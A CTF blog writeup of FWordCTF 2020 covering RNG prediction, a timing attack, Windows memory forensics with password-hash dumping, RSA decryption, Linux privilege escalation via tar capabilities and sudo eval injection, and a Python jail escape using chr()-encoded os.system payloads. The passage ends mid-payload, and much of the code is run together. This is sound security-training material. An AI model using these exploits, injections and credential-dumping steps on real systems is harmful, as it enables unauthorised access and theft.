# FWordCTF 2020 Challenges Writeup

03 September, 2020 - 35 minute read
[CTF, writeup, infosec]

Once again, dear readers, it appears I will not do as promised. I mentioned that I would soon (finally) make a writeup on BSides Porto 2020's CTF's challenges. Alas, that is not yet the case, since a very interesting CTF came up this last weekend (29/08/2020-30/08/2020) in which I decided to participate. This seemed like a good challenge to test my skills, learn a lot and (more importantly for my ego) recover from the fiasco that was my attempt at the Google CTF 2020, in which I only got one challenge (hardware/basics).

It was also a good opportunity to showcase how fun and diverse CTFs can be: I have a friend that has recently become interested in these kinds of competitions, but had never participated in one. After learning that, I started monitoring CTFTime for a CTF that looked varied and accessible for beginners. We eventually settled on FWord CTF.

Outcome: My friend managed to complete two challenges with me (Twis Twis Little Star and Secret Array), and our team (Pwntugal) managed to place 46th out of 360 scoring teams (the teams that did not score were not shown in the scoreboard, so we can't know for sure how many there were). We were also the highest scoring "declared" Portuguese team (country identification was opt-in). Not bad for a team of two in which one of the members had basically 0 previous experience!

Completed Challenges: We completed 12 challenges, totaling 4749 points. The category distribution: 4 misc, 2 "bash" (interesting category, more details below), 5 forensics and 1 cryptography.

Context for points: The challenges started out at 500 points and their value would decrease as the number of solves increased (as is common in Jeopardy-style CTFs).

And finally, the challenge writeups in the order that we solved them:

## Twis Twis Litlle Star (Misc) - 470 points

(There is a typo in the challenge's name - I'm not sure if this is intentional so I'll include it)

After struggling for a bit trying Web, Reverse Engineering and Pwn challenges and also having working code for Secret Array this was actually the first challenge completed.

The problem statement:

Randomness is a power ! You don't have a chance to face it.

We were given the specification of a URL and port to connect via netcat (as is common in CTFs).

Connecting via netcat we have a lot of interesting information (at the prompt I entered 1 to see what would happen next):

~
[email protected]$nc twistwislittlestar.fword.wtf 4445 Welcome Everyone to our Land !! The good thing about Randomness that it is unpredictable ! Unless you say otherwise , prouve me wrong and predict 20 consecutive randoms! Random Number is : 501509088 Random Number is : 2205927734 Random Number is : 309934756 Can you predict the next ones ? Your Prediction For the next one : 1 HAHAHA TOLD YOU YOU CANT PREDICT IT ;) ;) ;)!!! The number was : 4165826118 Can you predict the next ones ? Your Prediction For the next one : Hmm, I have heard about predicting weak random number generators based on a stream of generated numbers before. My first thought was some way to leak the seed or something similar, given enough random numbers. After some googling I found this tool which looks fit for the job. Looking at the disadvantages section of the Wikipedia page for the algorithm shows that indeed this is a problem with the algorithm. Additionally, not only does the challenge's name seem to hint at this algorithm, but also the fact that it is used for python's default RNG shows us we are extremely likely to be in the right track. As such, we created a small script that parses the output for the random numbers that were generated. After collecting enough (624) we can start predicting the random numbers and after 20 correct predictions we get the flag! from pwn import * import random # https://github.com/kmyk/mersenne-twister-predictor from mt19937predictor import MT19937Predictor r = remote('twistwislittlestar.fword.wtf', 4445) predictor = MT19937Predictor() r.recvuntil('Random Number is : ') n = int(r.recvline().rstrip()) predictor.setrandbits(n, 32) r.recvuntil('Random Number is : ') n = int(r.recvline().rstrip()) predictor.setrandbits(n, 32) r.recvuntil('Random Number is : ') n = int(r.recvline().rstrip()) predictor.setrandbits(n, 32) print('Got first 3 mr silva') for _ in range(624-3): r.recvuntil('Your Prediction For the next one : ') r.send('1\n') r.recvuntil('The number was : ') n = int(r.recvline().rstrip()) predictor.setrandbits(n, 32) print(_) for _ in range(20): # print(r.recvuntil('Your Prediction For the next one : ')) r.recvuntil('Your Prediction For the next one : ') next_rand = predictor.getrandbits(32) r.send(f"{next_rand}\n") r.interactive() In the script, the first 3 numbers are retrieved (there's a joke print there since my friend was doing this with me and said that the effort in fetching the first numbers was useless, but I insisted in getting them to speed up the runs, especially given that we were waiting for our script for Secret Array to finish anyway) and then we just send a stream of 1s until we have fed enough numbers to the predictor library. After this, we start predicting the numbers, and when we enter interactive mode we get the flag: [*] Switching to interactive mode Well you prouved me wrong , After all every thing is crackable !! Take your flag FwordCTF{R4nd0m_isnT_R4nd0m_4ft3r_4LL_!_Everyhthing_is_predict4bl3_1f_y0u_kn0w_wh4t_Y0u_d01nGGGG} Your Prediction For the next one :$

## Time to Hack (Misc) - 495 points

Once again, netcat connection details. When connecting the following can be viewed:

~
[email protected]$nc timetohack.fword.wtf 1337 _ |1] .-|=====-. | | mail | ___|________| || || || www ,;, || )_(,;;;, <_> \ || \|/ \_/ \|/ \\|| \\| |// _____\|//_\\|///_\V/_\|//__ ┌───────────────────────────────────────────────────────┐ │ Super Secure Mail Service │ └───────────────────────────────────────────────────────┘ You have (1) unread message(s). Please login to proceed. Menu: [1] Login [2] Exit. >>> 1 password:test Login Failed. Menu: [1] Login [2] Exit. >>> Upon selecting 1 for Login, we are prompted for a password. Given the challenge name and the fact that there are no other options to interact with the service, I suspected that the idea was that each correct character would introduce a delay and as such we can try all the characters and that will eventually result in the password. As such, I made the following python script to "brute force" the password: from pwn import * import time import string r = remote('timetohack.fword.wtf', 1337) r.recvuntil("\n>>> ") so_far = '7c80ee' while True: max_time = 0 maxed_char = '' for c in string.ascii_lowercase + string.digits: r.send("1\n") r.recvuntil("password:") print(f"Trying: {c}") start = time.time() r.send(f"{so_far + c}\n") r.recvuntil("\n>>> ") end = time.time() elapsed_time = end - start if elapsed_time > max_time + 0.3: max_time = elapsed_time maxed_char = c print(f"The max is: {max_time} -> {maxed_char}") so_far += maxed_char print(f"so far: {so_far}") r.interactive() When the script was near the end, the output was the following: The max is: 5.695255994796753 -> 0 so far: 7c80ee65890 Trying: a Trying: b Trying: c Trying: d ... Trying: e Traceback (most recent call last): File "solve.py", line 24, in <module> r.recvuntil("\n>>> ") File "/home/miguel/python_envs/ctf/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 310, in recvuntil res = self.recv(timeout=self.timeout) File "/home/miguel/python_envs/ctf/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 82, in recv return self._recv(numb, timeout) or b'' File "/home/miguel/python_envs/ctf/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 160, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/home/miguel/python_envs/ctf/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/home/miguel/python_envs/ctf/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError So probably we sent the right password and the server closed the connection. When we tried to receive the prompt to then send the next character the script crashed. As such, the password is 7c80ee65890 + e = 7c80ee65890e Let's try that and... Bingo!  Menu: [1] Login [2] Exit. >>> 1 password:7c80ee65890e Message: FwordCTF{_T1C-T0C_got_your_back_} ## Memory (Forensics) - 73 points The Memory challenges were a series of challenges that operated over a .raw file (which ended up being a Windows memory dump). The challenges were considered dependencies for one another, i.e. you could only submit the flag for Memory 3 after solving Memory 2. Given the nature of the challenges this makes sense in order to keep you motivated by giving you new challenges. However, this was a bit troublesome for me since I got the solution for 5 when doing 3 and could not submit it for a good while. The clock was ticking with only some hours to go, so this was a bit stressful. The problem statement: Flag is : FwordCTF{computernameuserpassword} As typical with Forensics challenges that include a memory dump, the go-to tool is Volatility. I ended up struggling with this part a lot more than I should've, due to forgetting the "basics" of using Volatility: imageinfo. I was wondering how all the commands I used to do were not working, since volatility was struggling to find the type of the image. Well, as it were, I was not providing any profile to it... After using volatility -f foren.raw imageinfo to get the profile (Win7SP1x64), we can now use the envars plugin to get the computer name: volatility -f foren.raw --profile=Win7SP1x64 envars | grep -i computer_name gets us FORENWARMUP Following https://www.aldeid.com/wiki/Volatility/Retrieve-password leads us to two plugins: hivelist and hashdump. By following the steps on the website we can get the usernames and their NTLM hashes: [email protected]:~/ctfs/fword2020# volatility -f foren.raw --profile=Win7SP1x64 hivelist Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ------------------ ------------------ ---- 0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS 0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT 0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM 0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat 0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat 0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve 0xfffff8a00000f010 0x000000002cfef010 [no name] 0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM 0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE 0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD 0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE 0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY [email protected]:~/ctfs/fword2020# volatility -f foren.raw --profile=Win7SP1x64 hashdump -s 0xfffff8a0014da410 -y 0xfffff8a000024010 Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: fwordCTF:1000:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da::: HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:514fab8ac8174851bfc79d9a205a939f:::
SBA_AK:1004:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::

Users fwordCTF and SBA_AK both have as password: password123 (decrypted via crackstation, as recommended in the article).

So the flag should be one of:

• FwordCTF{FORENWARMUP_fwordCTF_password123}
• FwordCTF{FORENWARMUP_SBA_AK_password123}

It was the second one.

## Secret Array (Misc) - 283 points

This was one of the challenges that took the most effort due to a really simple problem. It was one of the challenges we started working on first (giving it a real try, not just testing things), but it was only solved around Sunday morning.

This challenge consisted once again of a netcat server. Upon receiving a connection we got the following text:

[email protected]$nc secretarray.fword.wtf 1337 I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array. [!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j] [!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]" [*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request. [*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do. [*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit. START: Thinking of the theoretical best case, assuming each number is different (which we cannot not assume) we have to "touch" each item at least once. So the trick here is likely to get the sum of each element with its neighbor or with the first item or so and then request an additional sum to figure out one of the elements and then "cascade" into the real values of all the other elements. This was indeed what we did. We would request the sum of each element with its neighbor and collect it into an array. Afterwards, we can request one final sum: of elements 0 and 2. With it we can extract the value of the element at the 0 index and then propagate this to retrieve every other element. Basically: $x_0+x_1 - x_1+x_2 + x_0+x_2 = 2x_0$ - now we just need to divide this by 2 and we will get the value of the first element! Sadly, this was also the cause of much suffering. The numbers that the service used were very large and thus when the original code was ran (went something like int(sums[0] - sums[1] + extra / 2) since we "for some reason" were getting the numbers to all be in scientific notation) we actually were using floats due to the division and then converting back to an integer, which caused loss of precision and thus the results were off by a couple hundred units. This was even more ironic since "all of the numbers are even and as such should be evenly divisible by two so there cannot be any problem in the division!" - we thought. Overlooking this cost us a good amount of hours, but eventually we got it. Unfortunately, in the despair of not having things work, we polluted the code a bit, even having some sanity checks with assertions and an extra test.py file that generated random numbers and confirmed if our math checked out (in fact it did, since the tests weren't using large enough numbers... 🙃 a good way to be reminded of the value of good tests). I'll add the final solution file that changed our method from getting the sums of the neighbors to getting the sums of each number with the number at index 0. Despite the result being exactly the same, since I used this final script to solve the challenge and didn't confirm that the previous one worked after it was fixed (by switching to integer division via //), I'd rather post this one than the other one that is basically the same but untested: from pwn import * r = remote('secretarray.fword.wtf', 1337) r.recvuntil("START:\n") zero_sums = [] for i in range(1336): r.send(f"0 {i+1}\n") curr = int(r.recvline().rstrip()) zero_sums.append(curr) print(f"0+{i+1}={curr}") answer = [] r.send("1 2\n") raw_one_two = r.recvline() print(f"raw 1-2: {raw_one_two}") one_two = int(raw_one_two.rstrip()) # 0,1 + 0,2 - 1,2 -> 2*0 / 2 -> 0 # HAVING USED / INSTEAD OF // WAS THE PROBLEM HERE LMAO zero_elem = (zero_sums[0] + zero_sums[1] - one_two) // 2 print(f"zero elem: {zero_elem}") answer.append(zero_elem) for i in range(1336): answer.append(zero_sums[i] - zero_elem) print('Checking') for i in range(len(zero_sums)): # print(i) if zero_sums[i] != answer[0] + answer[i+1]: print(f"{i} -> HASHDAHSDHAHDAHD") # assert sums[i] == answer[i] + answer[i+1] # Commenting just to not error and lose everything :) numbers_str = " ".join(str(e) for e in answer) print(f"answer n elems: {len(answer)}") msg = f"DONE {numbers_str}\n" print(msg) r.send(msg) r.interactive() After the script submitted our solution, the connection is closed after receiving the following message with the flag: Congratualtions! You guessed my secret array, here is your flag: FwordCTF{it_s_all_about_the_math} ## Memory 2 (Forensics) - 379 points This challenge is a continuation of Memory 1. The problem statement is as follows: I had a secret conversation with my friend on internet. On which channel were we chatting? After using the pstree volatility plugin we can find that chrome is running. Since the other programs are basically Windows services which do not look too interesting and mspaint.exe, I turned my attention to this browser. Online I found a set of plugins that seemed helpful and an associated blog post. Using these we can get a sense of the opened websites: [email protected]:~/ctfs/fword2020# volatility --plugins=/opt/volatility-plugins/ -f foren.raw chromehistory Volatility Foundation Volatility Framework 2.6 Index URL Title Visits Typed Last Visit Time Hidden Favicon ID ------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma Péters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A  Then I struggled for a while, since I had found some other chrome-related plugins that claimed to be able to print the pages from the memory dump, getting their html and such. However, I did not manage to get any of them to work. They either just hung or gave me no information at all. As such, I decided to go for the manual approach: I dumped the process's memory (using volatility's memdump) and just went for strings instead: [email protected]:~/ctfs/fword2020# strings -e l 3700.dmp | grep -A5 -B5 -Ei 'kiwi.*irc' Kiwi IRC - The web IRC client audio. lient e wthe Kiwi IRC - The web IRC client e w' Kiwi IRC - The web IRC client ret/ e wclient kiwi FwordCTF{top_secret_channel}  (The output is truncated, there was a lot more above and below this) -e l here specifies that little endian should be used (since this is a windows machine). So we got the flag! FwordCTF{top_secret_channel} ## Memory 3 (Forensics) - 405 points The first part of this challenge was solved during Memory 2. I also managed to somehow solve Memory 5 while doing this one which was pretty funny. The problem statement for the challenge is: He sent me a secret file , can you recover it ? PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD When looking at the output of the chromehistory plugin and finding the link to gofile.io, I obviously clicked it and downloaded a file called important.zip that was hosted there. Sadly, it was password protected so I put it off for a while after trying fcrackzip with rockyou.txt as a wordlist (I had not unlocked this challenge yet so I didn't know that brute force was not intended). When trying to unzip the file with the wrong password a file was "extracted" (it was empty), so we knew that the zip file included a certain flag1.png. As such, since there was a mspaint.exe process, my first thought was to try and extract the image from there, assuming that it must be the one in the zip. However, despite getting the steps right for exploring that process, I found that the flag I reached did not work, as it was meant for the final challenge, Memory 5. After struggling with that and checking with the challenge author if I had misread the flag, they mentioned that the flag was right, but the challenge I was trying to submit it into was not the correct one. So, I started searching elsewhere. I had the idea that if the file was sent via a file sharing service, then it might've been posted to irc. I kept trying to search for the channel name (previous flag), "irc" and the gofile url in the memory dump of the process. After a while, having even created a file with the result of the strings command to make searching faster, I found a string that looked like a password: w0rdsecretp4ss. My first instinct was to reverse it to spell secretp4ssw0rd, but after searching the file some more, I found the complete string: fw0rdsecretp4ss. We can now unzip important.zip and submit the flag contained inside: The flag is: FwordCTF{dont_share_secrets_on_public_channels} ## Memory 4 (Forensics) - 492 points I solved this challenge in an unintended way that made it much easier to do. The problem statement: Since i'm a geek, i hide my secrets in weird places After noticing that the last two flags contained the word "secret" and the problem statement did as well, I tried grepping chrome's memory dump for it. Success! news windows 0x00000001 0x00000000 0x00000000 0x00000000 1234567890abcdefghijklmnopqrstuvwxyz-=\[];',./ [email protected]#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ_+|{}:"<>?~
1234567890abcdefghijklmnopqrstuvwxyz-=\[];',./
[email protected]#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ_+|{}:"<>?~ 1234567890abcdefghijklmnopqrstuvwxyz-=\[];',./ [email protected]#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ_+|{}:"<>?~
FwordCTF{hiding_secrets_in_regs}
@mmres.dll,-5824
ERTA
EGISTR
CHIN

The flag is: FwordCTF{hiding_secrets_in_regs}

After seeing the strings near the flag and its content (plus the problem statement) I contacted the challenge author to check if this was an unintended solution. They confirmed it was. The intended solution was to "go through registries, do ntuser.dat, print key and find FLAG" according to them.

## Memory 5 (Forensics) - 495 points

This was the most fun of the Memory challenges in my opinion. The problem statement is as follows (I just noticed I did not look at these otherwise I would've gotten a better image):

I'm an artist too, i love painting. I always paint in these dimensions 600x300

From this and the previous exploration of processes, everything points to having a look at mspaint.exe now! As mentioned before I extracted the image from it, by following the steps in this writeup.

Put simply, we just have to:

1. Extract the process's memory using volatility's memdump with paint's PID
2. Rename the file from .dmp to .data
3. Search around for the correct offset to get the image

I have some screenshots of this process, which was pretty fun to do:

First, importing the image into GIMP as raw data.

After GIMP kept crashing on my Kali VM I switched to trying it in the host system. It crashed whenever I tried moving the width or height sliders. Sadly, this was not fixed with this switch. The only thing that helped was to not use the sliders and instead just input the values directly. By gradually increasing the offset we seem to start getting a picture to form.

After some more fiddling this really does seem like text! Taking it to GIMP and flipping the image vertically and horizontally gets us this:

This seems to be it! FwordCTF{Paint_Skills_FTW!}

When making this writeup, I noticed that I hadn't even looked at the challenge card that had the hint for the resolution. After following that we can go to the following offset, with RGB mode instead of RGB Alpha: 6356980 and get a much better image that is probably very close to the original:

## One Part! (Cryptography) - 261 points

This was a pretty simple Crypto challenge, solvable with just one website: https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/
The problem statement:

One part is secure ?

nc onepart.fword.wtf 4445

Upon connecting we would receive a "public pair" (n and e) and "extra info" (dp and c) - sadly I did not save the full output for this post, since I was still trying to finish some more challenges and was pretty tight on time. Since I'm pretty bad at crypto, all I did was basically copy-paste and adapt the code to get the solution:

from Crypto.Util.number import long_to_bytes
import gmpy2

public_pair = (9372538213889679454985599395148836834996879880003608265235785570648304156327222034313514721324289873226182977843315968680949902733375000940807364957502778184200120551682275053624535001211718576566433907314473212360740058907474062917710397572139350015148239391503940589266803942060414724789497403944562818162654362755242850835111302080149130459198734157275927426764110895957486992999678455289287586459701289017260589225153348187941415189658722848549174676499201338384940552184038715165721715009192257115315504961358171593387932775190790179399258438046245629245133233421596894031674269601529431849656894129561401764761, 65537)

n = 9372538213889679454985599395148836834996879880003608265235785570648304156327222034313514721324289873226182977843315968680949902733375000940807364957502778184200120551682275053624535001211718576566433907314473212360740058907474062917710397572139350015148239391503940589266803942060414724789497403944562818162654362755242850835111302080149130459198734157275927426764110895957486992999678455289287586459701289017260589225153348187941415189658722848549174676499201338384940552184038715165721715009192257115315504961358171593387932775190790179399258438046245629245133233421596894031674269601529431849656894129561401764761

e = 65537

dp = 97801665899178232246164027484033400234313950250258457697120219734930593404809607494559214166401040896501518805026355876469807481814252754298747247327018628572464262657700810454207434926197054304875348739433087987984841348947952718286365316171784324020173451648067235814110298810608540420344504272693032220089

c = 8324083334112885363031633397569871880012512629933814848984333409962565811335224641125516246623993263707402788260596697457842311905271500426474812285369026425606406427494996023507857977251923411921964788655751288113159836081716915844855114945049071102364286496299944959306338905322036437596590538233472163029017739435274543121848879341691272291014876882352873690859633641581188389341902499003203881743560927006188769847112021371083323819208046219777377565383897902938829128400973582191211267241718798473286362921217711664628981522976428160022281686231766291461855215356708884574485584282847818807231733524224174081268

def decrypt(e, dp, n):
_ = dp * e - 1
for i in range(1, e):
if not _ % i:
p = _ // i + 1
if not n % p:
q = n // p
phi = (p - 1) * (q - 1)
d = int(gmpy2.invert(e, phi))
return d

# if __name__ == "__main__":
#     e = int(input("e = "))
#     dp = int(input("dp = "))
#     n = int(input("n = "))
#     c = int(input("c = "))
#     d = decrypt(e, dp, n)
#     print(long_to_bytes(pow(c, d, n)))

d = decrypt(e, dp, n)
print(long_to_bytes(pow(c, d, n)))

Running the script gets us the flag:

~/CTF/fword-2020/crypto/One Part py(ctf)
[email protected]$python3 solve.py b'FwordCTF{i_knew_it_its_not_secure_as_i_thought}' ## CapiCapi (Bash) - 423 points This was a pretty fun challenge which reminded me a bit of HackTheBox: You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! SSH Credentials ssh -p 2222 [email protected] Password: FwordxKahla We land in a shell as user1, having a flag.txt file that we are unable to read in our current directory. I managed to run linpeas.sh despite not having wget, curl or netcat by base64ing it and echo -n <encoded_data> | base64 -d | sh, copied over clipboard 😁 This highlighted several things that did not seem too interesting, but then also highlighted something that I had not explored before: [+] Capabilities [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities Current capabilities: CapInh: 00000000a80425ff CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 00000000a80425ff CapAmb: 0000000000000000 Shell capabilities: CapInh: 00000000a80425ff CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 00000000a80425ff CapAmb: 0000000000000000 Files with capabilities: /usr/bin/tar = cap_dac_read_search+ep Reading the link provided by linpeas gets us a basic understanding of capabilities and how they can be abused for privilege escalation. Since tar seems to have CAP_DAC_READ_SEARCH capabilities, it can bypass file and directory read/execute permission checks. This is perfect for our desired scenario. As such, just grabbing some commands for file reading from GTFOBins allows us to read flag.txt: [email protected]:/home/user1$ export LFILE=flag.txt
[email protected]:/home/user1$tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}

## Bash is fun (Bash) - 478 points

This was one of my favorite challenges from all the ones I tried. The problem statement:

Bash is fun, prove me wrong and do some privesc. SSH Credentials ssh -p 2222 [email protected] Password: FwOrDAndKahl4FTW

Snooping around the shell to get some details

[email protected]:/home/user1$sudo -l Matching Defaults entries for user1 on 0561f72b99b3: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User user1 may run the following commands on 0561f72b99b3: (user-privileged) NOPASSWD: /home/user1/welcome.sh [email protected]:/home/user1$ cat welcome.sh
#!/bin/bash
name="greet"
while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1
;;
shift; username=$1 ;; -p | --permission ) permission=1 ;; esac; shift; done if [[ "$1" == '--' ]]; then shift; fi

echo "Welcome To SysAdmin Welcomer \o/"

eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"
export -f $name isNew=0 if [[$isNew -eq 1 ]];then
$name fi if [[$permission -eq 1 ]];then
echo "You are: "
id
fi

In the current directory we have only 3 files: welcome.sh (shown above), welcome.txt and flag.txt. The flag file is not readable due to being owned by user-privileged. However, it seems that we can execute welcome.sh as that user!

As such, I began looking at the script for potential ways to leak the file or privesc to user-privileged. An injection in the function $name seemed like it would work, either by changing the function declaration inside the eval or something similar, and then trying to change the $isNew variable in order to call it.

However, these were false leads. When the -p or --permission flag is passed, id is ran. Normally this evaluates to the command with the respective name, but if we change $name to make the function be called id, it will be executed instead! After confirming that was the case, all it took was getting sed to print out the contents of the flag.txt file (GTFOBins is also handy as a cheatsheet for *nix programs) via the $username variable and we get the flag!

[email protected]:/home/user1$sudo -u user-privileged ./welcome.sh -n 'id' -u "user/' flag.txt ; } #" -p Welcome To SysAdmin Welcomer \o/ You are: FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW} With this, the function declaration would be: function id { sed 's/user/user/' flag.txt ; } # welcome.txt ; } I just made sed read the file directly, reverting the potential substitution by keeping the substitution string the same. As you can see, I also commented out the rest of the command, which goes to show that we had RCE as user-privileged via the script, which could enable us to get an escalated bash shell for example. Overall great challenge, very different from the "usual" categories and pretty interesting but still accessible! ## Directory Manager (Misc) - 495 points This was the last challenge I managed to complete, nearly not making it after finishing the hardest part of the challenge! The problem statement (also had a tag of python): Get me out of this fucking hell !! nc directorymanager.fword.wtf 1234 The statement along with the tag made me think straight away that this was a python jail we had to break out of. At the time I started it I likely had an hour and a half left, but went to check out some bash challenges first. After getting stuck in a challenge named JailBoss from the Bash category, I remembered about this one and thus came back for it since I thought it would be easier. For this one I had some ideas while for the other not so much! Upon connecting we were faced with a simple prompt that took our input and executed it in some cases (simple calculations, etc.). A lot of the time there was no output at all, and the connection was always closed after a command was sent. When there was no output, I assumed that the command was being filtered and thus nothing being displayed. After trying to use os functions, import packages and some other ideas I had at the time, I finally thought to go back to the basics and finally got some meaningful output: ~/CTF/fword-2020/misc/Directory Manager [email protected]$ nc directorymanager.fword.wtf 1234
Welcome to our Directory Manager, what do you want to execute :
dir()
['__builtins__', '__doc__', '__file__', '__name__', '__package__', '__warningregistry__', 'conn', 'inp', 'isallowed', 'ldap']

Good old dir always helps out in python jails, by identifying loaded modules, variables and such. In this case ldap seemed interesting straight away, but I didn't know exactly what to do with it for now. As such, I set my goal on trying to exfiltrate the program's source. The following attempt felt pretty close, but was cut off near the end:

~/CTF/fword-2020/misc/Directory Manager
[email protected]$nc directorymanager.fword.wtf 1234 Welcome to our Directory Manager, what do you want to execute : __file__ directories.py ~/CTF/fword-2020/misc/Directory Manager [email protected]$ nc directorymanager.fword.wtf 1234
Welcome to our Directory Manager, what do you want to execute :
dir(eval(dir()[0]))[115] + '(' + __file__ + ').read()'

~/CTF/fword-2020/misc/Directory Manager
[email protected]$nc directorymanager.fword.wtf 1234 Welcome to our Directory Manager, what do you want to execute : eval(dir(eval(dir()[0]))[115] + '(' + __file__ + ').read()') __file__ gave us the name of the file, and it seemed like we could build the string by accessing elements of dir()[0] aka __builtins__ to get the open function and thus construct the code in a "safe" way. Sadly, even after looking at the script that I eventually exfiltrated, I am not yet sure why this did not work. (Update: Now I noticed I did not include ' so directories.py was probably evaluated as a variable. Whoops) After this, I started thinking that the input is most likely searched for specific keywords that are "blacklisted". Thus, I started thinking of ways to construct strings that would not be detected. One typical approach is to play with upper and lowercase and then use string functions to work around that and build the desired string. However, the CTF was probably half an hour from closing and I was pretty desperate and did not remember python's string function syntax. So I went with a low tech but effective solution, that ended up working: Converting the string to chr() calls which would build the string. Then, we could just eval it and we would have RCE! So I did something like this at the time (didn't have time to write down what I did in the python prompt): >>> '__import__("os").system("ls")' '__import__("os").system("ls")' >>> [ord(e) for e in '__import__("os").system("ls")'] [95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 108, 115, 34, 41] >>> [f"chr({x}) + " for x in [95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 108, 115, 34, 41]] ['chr(95) + ', 'chr(95) + ', 'chr(105) + ', 'chr(109) + ', 'chr(112) + ', 'chr(111) + ', 'chr(114) + ', 'chr(116) + ', 'chr(95) + ', 'chr(95) + ', 'chr(40) + ', 'chr(34) + ', 'chr(111) + ', 'chr(115) + ', 'chr(34) + ', 'chr(41) + ', 'chr(46) + ', 'chr(115) + ', 